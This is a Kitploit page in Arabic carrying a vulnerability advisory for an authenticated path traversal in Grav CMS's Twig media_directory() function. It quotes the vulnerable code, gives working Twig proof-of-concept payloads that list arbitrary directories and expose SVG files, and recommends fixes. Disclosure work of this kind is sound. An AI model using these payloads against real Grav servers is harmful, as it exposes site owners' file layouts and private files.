Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-78851 — استشارة فنية تفصّل ثغرة اجتياز المسار المُصادَق عليها في دالة media_directory() الخاصة بـ Twig في نظام Grav CMS، مما يتيح تعداد الدلائل التعسفي وكشف مسارات نظام الملفات. | Kitploit
أدوات/GitHubGitHub/slo-cyber-sec/cve-2026-78851
تحليل الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الويباختبار الاختراق
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

استشارة فنية تفصّل ثغرة اجتياز المسار المُصادَق عليها في دالة media_directory() الخاصة بـ Twig في نظام Grav CMS، مما يتيح تعداد الدلائل التعسفي وكشف مسارات نظام الملفات.

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة اجتياز المسار / كشف الدلائل التعسفي في Grav عبر Twig media_directory()

المُبلِّغ

الاسم: CYBER-SEC
جهة الاتصال: [email protected]

الملخص

دالة Twig الخاصة بـ Grav وهي media_directory() معرّضة داخل القائمة البيضاء لـ Twig sandbox لمحتوى الصفحات، لكنها لا تفرض بشكل صحيح احتواء المسار للمدخلات غير القائمة على streams.

يمكن لمستخدم مُصادَق يتمتع بصلاحيات تحرير الصفحات استدعاء media_directory('/absolute/path') أو استخدام اجتياز نسبي مثل media_directory('../../../../path') داخل محتوى الصفحات المفعّل عبر Twig. يقوم Grav بعد ذلك بفهرسة ملفات من نوع الوسائط من الدلائل القابلة للقراءة من قبل مستخدم خادم الويب.

كائنات Medium المُرجَعة تُظهر خصائص مسموحة في الـ sandbox مثل filepath و ، مما يؤدي إلى تعداد تعسفي للدلائل وكشف مسارات نظام الملفات المطلقة. بالنسبة لملفات الصور/SVG، قد يؤدي توليد URL أو الكاش إلى كشف الملفات عبر معالجة الكاش العامة في Grav.

filename

هذه ثغرة كشف معلومات تتطلب مُصادقة. لا يُعرف أنها تسمح بالاستغلال دون مُصادقة أو بتنفيذ أوامر عن بُعد مباشر.

المنتج المتأثر

المنتج: نظام Grav لإدارة المحتوى القائم على الملفات المسطحة
المستودع: https://github.com/getgrav/grav
الإصدارات المتأثرة المُتحقَّق منها: 2.0.3، 2.0.4، 2.0.6
المكوّن: Twig media_directory() / Twig sandbox لمحتوى صفحات Grav

CWE

  • CWE-22: عدم تقييد المسار بشكل صحيح داخل دليل مقيد ("اجتياز المسار")
  • CWE-200: كشف معلومات حساسة لجهة غير مُخوَّلة

CVSS v3.1

المتجه: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
النتيجة الأساسية: 6.5 متوسطة

متطلبات الهجوم

  • يجب أن يكون المهاجم مُصادَقًا.
  • يجب أن يمتلك المهاجم صلاحيات تحرير الصفحات.
  • يجب أن تكون معالجة محتوى Twig مفعّلة.
  • يجب أن يكون الدليل الهدف قابلاً للقراءة من قبل مستخدم خادم الويب.

التفاصيل التقنية

يقع موضع الثغرة في:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

المنطق ذو الصلة:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

فقط مدخلات stream:// يتم حلها عبر locator الخاص بـ Grav. المسارات المطلقة أو النسبية غير القائمة على streams تُمرَّر كما هي إلى new Media($media_dir) دون تحقق من realpath() الأساسي، أو رفض الاجتياز، أو احتواء ضمن الدلائل المعتمدة التي يتحكم بها Grav.

الدالة معرّضة عبر القائمة البيضاء لـ Twig sandbox لمحتوى الصفحات:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

يسمح الـ sandbox أيضًا بخصائص/طرق Medium مثل:

root@kitploit:~
filepath
filename
url
cache
resize

يسمح هذا لمحرر صفحات مُصادَق بكشف أسماء الملفات والمسارات المطلقة من دلائل تعسفية قابلة للقراءة. بالنسبة لملفات الصور/SVG، قد يؤدي توليد URL/الكاش العام إلى كشف محتوى الملف.

إثبات المفهوم

مع تفعيل معالجة محتوى Twig، أنشئ أو عدّل صفحة في Grav وأدرج:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

صيغة الاجتياز:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

مثال كشف الصور/SVG:

root@kitploit:~
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}

عند حفظ الصفحة وعرضها، يقوم Grav بفهرسة الملفات من المسار الذي يتحكم به المهاجم ويكشف أسماء الملفات ومسارات نظام الملفات المطلقة.

السلوك المُتحقَّق منه

تم التحقق ضد Grav 2.0.6 باستخدام صورة Docker linuxserver/grav:latest.

شملت النتائج المرصودة:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

كما تم تأكيد الاجتياز النسبي:

root@kitploit:~
../../../../app/www/public

كما تم تأكيد كشف ملفات SVG عبر .url في بيئة اختبار محلية خاضعة للتحكم.

التأثير

يمكن لمحرر صفحات مُصادَق أن:

  • يعدّد ملفات من نوع الوسائط في دلائل تعسفية قابلة للقراءة من قبل مستخدم خادم الويب.
  • يكشف مسارات نظام الملفات المطلقة وأسماء الملفات.
  • يرسم خريطة بنية التطبيق وتخطيط نظام الملفات على الخادم.
  • يحدد ملفات حساسة، ونسخًا احتياطية، وملفات إعدادات، وسجلات، أو قطع أثرية للنشر بالاسم.
  • قد يكشف ملفات صور/SVG خارج جذر الويب المقصود عبر الكاش العام أو توليد URL.

هذه الثغرة من فئة الكشف ولا ينبغي الإبلاغ عنها كتنفيذ أوامر عن بُعد.

المعالجة

الإصلاحات الموصى بها:

  1. إزالة media_directory من القائمة البيضاء لـ Twig sandbox لمحتوى الصفحات.

أو:

  1. تطبيق احتواء صارم للمسار الأساسي على media_directory():
  • حل جميع المسارات باستخدام realpath().
  • رفض المسارات التي تحتوي على تسلسلات اجتياز.
  • رفض المسارات التي تُحل خارج الجذور المعتمدة التي يتحكم بها Grav.
  • السماح فقط بالجذور الآمنة مثل user://pages، أو user://images، أو دلائل وسائط أخرى معتمدة صراحةً.
  • إعادة التحقق من المسارات قبل فهرسة الملفات وقبل توليد الكاش/URL.

الإفصاح

تم الإبلاغ عن هذه المشكلة بواسطة CYBER-SEC.

المراجع

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
تنزيل الأداة